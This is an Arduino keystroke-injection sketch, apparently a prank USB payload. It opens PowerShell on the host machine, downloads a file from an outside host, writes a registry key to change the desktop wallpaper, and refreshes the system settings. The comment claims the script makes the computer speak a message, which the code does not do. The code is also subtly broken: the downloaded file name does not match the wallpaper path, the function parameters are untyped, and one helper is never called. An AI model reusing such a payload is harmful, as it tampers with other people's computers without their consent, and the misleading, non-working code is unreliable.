//Script opens up the powershell and makes your computer speak out a message.
#include <Keyboard.h>
void setup() {
delay(7000);
KeypressCombo(KEY_LEFT_GUI, KEY_D);
delay(500);
KeypressCombo(KEY_LEFT_GUI, KEY_R);
delay(500);
Keyboard.println("powershell");
delay(500);
Keyboard.println("$client = new-object System.Net.WebClient");
delay(500);
Keyboard.println("$client.DownloadFile(\"https://neuromancer.online/hub/d/2023/01/15/a1858e39e2cf183b878ff4cad0073a67/cat.jpg\" , \"cat.jpg\")");
delay(500);
Keyboard.println("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\doge.jpg\" /f");
delay(1000);
Keyboard.println("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
delay(500);
Keyboard.println("exit");
}
void loop() {}
void KeypressCombo(key1, key2)
{
Keyboard.press(key1);
delay(100);
if(key2 != NULL)
{
Keyboard.press(key2);
delay(200);
}
Keyboard.releaseAll();
delay(200);
}
void opencmd()
{
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(300);
Keyboard.println("cmd");
delay(1000);
}